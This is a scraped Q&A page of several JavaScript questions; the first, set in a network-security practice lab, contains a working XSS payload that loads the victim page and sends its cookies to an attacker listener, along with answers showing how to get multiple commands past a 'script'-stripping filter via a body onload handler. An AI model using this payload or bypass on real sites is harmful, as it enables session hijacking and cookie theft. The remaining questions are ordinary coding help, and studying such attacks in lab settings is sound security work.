XSS with "script" removal - javascript

This is from a network security practice problem.
The site (set up for this purpose) attempts to protect against XSS by filtering 'script' tags using the following code:
filtered = re.sub(r"(?i)script", "", input)
The task is to execute a payload in the victim's browser that would do things including send their cookies to a remote netcat connection. (I've already accomplished this when the site wasn't filtering 'script').
I've researched this and found that I can execute single javascript commands by making queries such as:
"<body onload=alert(\"hello\");>"
However, this doesn't solve my problem because it can only execute a single command (I believe). The payload I need to execute contains multiple commands.
I've also tried using HTML character codes to avoid the filter, such as:
"<script>..."
but the filter catches it.
Here is the codebase i'm using:
<html>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
function payload(attacker) {
function log(data) {
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
//Send cookie to remote connection
log(document.cookie);
});
}
proxy("./");
}
function makeLink(xssdefense, target, attacker) {
if (xssdefense == 0) {
//Code to execute when there is no filter
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
}
else {
//Code to execute when 'script' is filtered
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<body onload=alert(\"test\");>");
}
}
var xssdefense = 1;
var target = "http://81.211.34.1/xsstest";
var attacker = "http://127.0.0.1:31337/";
$(function() {
var url = makeLink(xssdefense, target, attacker);
$("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>");
document.getElementById("link").click();
});
</script> <h3></h3>
</html>
Any help would be greatly appreciated!

You can only have one expression in an onload= attribute, but you can still perform multiple commands.
Good way:
<body onload="(function() { cmd1(); cmd2(); cmd3(); })();">
This defines a function expression which performs the 3 commands, and then gets called (that's the () at the end).
More valid ways (but seriously, go with the first):
<body onload="cmd1(), cmd2(), cmd3();">
or, if you know they all return falsey values (like undefined by not returning anything)
<body onload="cmd1() || cmd2() || cmd3();">
inversely, if you know they all return truthy values (like numbers, strings or objects)
<body onload="cmd1() && cmd2() && cmd3();">

You can have multiple expressions in onload:
<body onload="alert(1); alert(2);">

Related

Javascript: The value of the property is null or undefined, not a Function object

Okay, Stumped. I just use code to show possibilities to customers (am self-employed).
Trying to show get-selected-text-from-IE11-Browser. Don't need cross-Browser and expert stuff just yet (if customer goes ahead).
Have tried to write a javascript function to get the selected text from the browser. This has worked fine when called direct (put function into Console via F12 facility) and this returns the selection. But when calling from Context Menu HTM script it fails with the mentioned error. The code to get the selected text comes from another context menu script that works fine when all the code is in the one HTM script (cmGoogleMapSelection_1.htm). I was just trying to be a little more efficient with reuse and learn a little more myself. I will return to in-line code if I can't resolve the issue (with help from your marvellous selves).
Keep getting the following error reported in the HTM script :
The value of the property 'myGetSelectedText' is null or undefined, not a Function object.
Have read a number of posts and tried to ensure that I have covered their suggestions. Still stumped, any help appreciated.
The code, first the 'function', then the 'script'; both script file and function file are in the same local file folder (please excuse the Debug code - gulp):
fn_myGetSelectedText.js:
function myGetSelectedText(pDefault) {
var zDbug = 1;
var zDbugMsg = "Debug: ";
var zSelection = "";
if (zDbug) {alert(zDbugMsg + "Starting Function 'myGetSelectedText' from fn_myGetSelectedText.js");}
zSelection = "" + window.getSelection().toString();
if (zDbug) {alert(zDbugMsg + " Selection= '" + zSelection + "'");}
if (zSelection == "") {
zSelection = pDefault;
alert(zDbugMsg + "Null selection, using: " + zDefault + " !");
}
return zSelection;
}//EndOf: Function -----
cmGoogleMapSelection_2.htm:
<!-- saved from url=(0016)http://localhost -->
<script type="text/javascript" src="fn_myGetSelectedText.js"></script>
<script type="text/javascript">
//- zDbug: 0 = false = no messages; 1 = true = show messages -----
var zDbug = 1;
var zDbugMsg = "Debug: ";
if (zDbug) {alert(zDbugMsg + "Starting cmGoogleMap_Selection2.htm V14");}
//- Google Maps stem URL & default location -----
var zMaps = "http://maps.google.co.uk/maps?hl=en&q=";
var zDefault = "+London";
var zSelection = myGetSelectedText(zDefault); //- Error occurs here <<<<<<<<<<<
if (zDbug) {alert(zDbugMsg + " Selection= '" + zSelection + "'");}
//- Build Maps URL -----
var zGo = zMaps + zSelection;
//- Open new Maps window -----
if (zDbug) {alert(zDbugMsg + "Issuing Window.Open on URL: " + zGo);}
window.open(zGo, "_blank");
//- Close this window -----
window.close()
</script>
<!-- Just to put something into the main code window so I know which one it is -->
<style>
p {font-family: "Lucida Console"; color: Red; font-size: 16pt;}
</style>
<p> >>-- Map Selected Text Function --<< <br>
>>-- . . 'myGetSelectedText' . . --<< </p>
I am hoping like heck that I haven't missed a bracket somewhere - embarrassing!
Other stuff: Windows 10 Pro (fully updated); 64 bit IE11; just javascript; Compatibility View OFF; Registry Keys/Values pointing where they should (cloned from working version).
While browser downloads fn_myGetSelectedText.js file from the internet, it does not stop parsing other code in your HTML. There's concurrent downloading of assets going on while browser parses the DOM.
when browser reaches this line var zSelection = myGetSelectedText(); it does not see myGetSelectedText defined on the window object at that moment thus throws out error.
What you want to do is wrap your script/code in your HTML into DOMContentLoaded event and call it once page load completes.
<script>
document.addEventListener("DOMContentLoaded", function(event) {
console.log("DOM fully loaded and parsed");
});
</script>
reference: https://developer.mozilla.org/en-US/docs/Web/Events/DOMContentLoaded
My guess would be that in your called function, pDefault is undefined, because you aren't passing a variable when you do the call.
So, this line: var zSelection = myGetSelectedText();
Should become: var zSelection = myGetSelectedText(zDefault);
HTH,
Jim

Parsing json from external url Html and JS only

<html>
<body>
<div id="output">hi</div>
</body>
<script>
var link="http://mywp.com/cilacap/api/get_posts/";
var jcontent= JSON.parse(link);
var output=document.getElementById('output');
output.innerHTML=jcontent.id' ';
</script>
</html>
It only shows "hi".
Can someone tell me how to show JSON items such as "id" and "postDate"
with looping but without PHP scripting?
Thanks
Few syntactical errors, below is the right one.
<html>
<body>
<div id="output">hi</div>
</body>
<script>
var link='{"url":"http://mywp.com/cilacap/api/get_posts/", "id":"url_id_01"}';
var jcontent= JSON.parse(link);
var output=document.getElementById('output');
output.innerHTML=jcontent.id + ' ';
</script>
</html>
JSON Data(var link), was not parsable.
JSON Data(var link), didnt contained any attribute called id.
String concatenation in last line(output.innerHTML), was wrong.
Try removing the quotes from:
output.innerHTML=jcontent.id' ';
and change it to:
output.innerHTML += jcontent.id;
Providing that the link is valid it should work now.
You can also write:
console.log(jcontent);
and check if the console displays the value, or any errors that have occurred.
That url is a string, not json.
Use Ajax to get the data ( using jquery)
var link;
$.ajax({
url: "test.html",
}).done(function(data) {
link = data;
});
Then, extract the data;
output.innerHTML=jcontent.id;
Is for the value. You get the key like this:
ES7
Object.entries(jcontent)
.forEach(keyValuePair =>
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
ES6
Object.keys(jcontent)
.map(key => [key, jcontent[key]])
.forEach(keyValuePair =>
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
ES5 (Most likely your case)
Use function instead of arrow functions for es5:
Object.keys(jcontent)
.map(function(key){ [key, jcontent[key]] })
.forEach(function(keyValuePair)
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
Access the value:
keyValuePair[0] // key
keyValuePair[1] // value
Ps
If you want to use the es7 or es6 method, have a look at babeljs

Trouble inserting JavaScript var (containing stmt that contains markup) into <script>

I'm building a script dynamically (which is why it ends up in a var) but I've simplified this example. The problem I'm having is that the browser interprets the span tags inside the script as actual spans, rather than as part of the script. I've looked at all kinds of resources on escaping characters and html encoding/decoding, but either those aren't relevant issues or I'm just not getting it.
How can I write the span inside the dynamically-generated script so that the browser interprets it as part of the script and not as a span tag that it should render?
page.html file
<script>
$(document).ready(function () {
var formScript = ' $(document).on("ready", function () {';
formScript += $().BuildScript();
$("script#dynamic-script").append(formScript + '});');
});
</script>
<script id="dynamic-script"></script>
functions.js file
(function ($) {
$.fn.BuildScript = function () {
var stmtsToAdd = '';
stmtsToAdd += '$("#X").on("change", function () {' +
' if ($(this).val() == "1" && !$("#label-and-control_Y").is(":visible")) {' +
' $("#label-and-control_Y").show("fast");' +
' $("#control_Y").addClass("required");' +
' $("#control_Y").closest("div.control").prev().empty.append("<span class="required-field-indicator">");' +
' }' +
'});';
return stmtsToAdd;
}
})(jQuery);
variations
I have also tried using a variety of special characters, both with and without escaping backslashes (just in case I was misunderstanding something), with always the same result
"\u003cspan class=\\u0022required-field-indicator\\u0022\u003eRequired\u003c\/span\u003e"
"\x3cspan class=\x22required-field-indicator\x22\x3eRequired\x3c/span\x3e"
I also read that jQuery's html() was decoding, which is why I've tried append(), text(), and appendChild().
result

Javascript - Getting a page title and meta description and using them as variables for a chrome extension

I have a script that gets the title from a tab and assigns it to a variable. However, I need to also get the meta desc and title properties for use in an input field.
I am not sure if I can achieve that with this:
chrome.tabs.getSelected(null, function(tab) {
var currentTitle = tab.title;
});
Then I need to get the Meta description, which I don't believe I can get from the tab data.
This is the HTML I am getting the description from:
<meta name="description" content="contentstuffya" />
This is the Javascript I am using to get it outside of the extension:
document.getElementsByName('description')[0].getAttribute('content');
How would I best do this given the data that I have?
The value of a <meta> tag can only be read through a content script. Here's an example:
var code = 'var meta = document.querySelector("meta[name=\'description\']");' +
'if (meta) meta = meta.getAttribute("content");' +
'({' +
' title: document.title,' +
' description: meta || ""' +
'});';
chrome.tabs.executeScript({
code: code
}, function(results) {
if (!results) {
// An error occurred at executing the script. You've probably not got
// the permission to execute a content script for the current tab
return;
}
var result = results[0];
// Now, do something with result.title and result.description
});
At the first line, I locate the <meta name="description"> element. At the second line, I read the value of its content attribute if the element is present.
The callback of chrome.tabs.executeScript receives the last expression's return value, so I've put an object literal (wrapped in parentheses) at the end of the code.
A better way to do it is using this.
function getMeta(metaName) {
const metas = document.getElementsByTagName('meta');
for (let i = 0; i < metas.length; i++) {
if (metas[i].getAttribute('name') === metaName) {
return metas[i].getAttribute('content');
}
}
return '';
}
console.log(getMeta('description'));
To get the title you can just use
console.log(document.title)
How do I get the information from a meta tag with JavaScript?

How can I change a JavaScript variable using Greasemonkey?

This is the page that I am trying to modify, I want to bypass the countdown timer, how should I write the script?
Is there a way that I can change the variable document.licenseform.btnSubmit.disabled to yes using Greasemonkey?
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>dsfsdf</title>
</head>
<body>
<form name="licenseform" method="post" action="">
<input name="btnSubmit" type="button" value="我同意">
</form>
<SCRIPT language=javascript type=text/javascript>
<!--
var secs = 9;
var wait = secs * 1000;
document.licenseform.btnSubmit.value = "我同意 [" + secs + "]";
document.licenseform.btnSubmit.disabled = true;
for(i = 1; i <= secs; i++)
{
window.setTimeout("Update(" + i + ")", i * 1000);
//这一句很关键,记得参数写法为("update("+i+")",i*1000)
}
window.setTimeout("Timer()", wait);
function Update(num)
{
if(num != secs)
{
printnr = (wait / 1000) - num;
document.licenseform.btnSubmit.value = "我同意 [" + printnr + "]";
}
}
function Timer()
{
document.licenseform.btnSubmit.disabled = false;
document.licenseform.btnSubmit.value = " 我同意 ";
}
-->
</SCRIPT>
</td>
<!--网页中部中栏代码结束-->
</body>
</html>
A more secure alternative to using unsafeWindow is to inject code into the document. The code that you inject will run in the same context as the page code, so it will have direct access to all of the variables there. But it will not have access to variables or functions in other parts of your user script code.
Another benefit of injecting code is that a user script written that way will work in Chrome as well as in Firefox. Chrome does not support unsafeWindow at all.
My favorite way to inject code is to write a function, then to use this reusable code to get back the source code for the function:
// Inject function so that in will run in the same context as other
// scripts on the page.
function inject(func) {
var source = func.toString();
var script = document.createElement('script');
// Put parenthesis after source so that it will be invoked.
script.innerHTML = "("+ source +")()";
document.body.appendChild(script);
}
To toggle btnSubmit you could write a script like this:
function enableBtnSubmit() {
document.licenseform.btnSubmit.disabled = false;
document.licenseform.btnSubmit.value = " 我同意 ";
// Or just invoke Timer()
}
function inject(func) {
var source = func.toString();
var script = document.createElement('script');
script.innerHTML = "("+ source +")()";
document.body.appendChild(script);
}
inject(enableBtnSubmit);
Remember that when you use the serialized form of a function in this way normal closure scope will not work. The function that you inject will not have access to variables in your script unless they are defined inside that function.
try calling the Timer() function since its what you want to happen anyway:
unsafeWindow.Timer();
while you are at it, change the Update function to do nothing:
unsafeWindow.update = function(){}
This is possible. The short answer is you can use the object unsafeWindow, for instance
unsafeWindow.document.licenseform.btnSubmit.disabled = true;
However it is not recomemended to do so, because it is unsecure. More information about this here:
http://wiki.greasespot.net/UnsafeWindow
Disregard anything said about "insecure", because script->document write operation IS perfectly secure.
unsafeWindow.document.licenseform.btnSubmit.disabled = false;
(Use mkoryak's method to suppress timeout callback)
That given form contains nothing but timeout, so you might want to bypass it completely:
// this example is INSECURE
unsafeWindow.document.licenseform.submit();
See?

Categories

Resources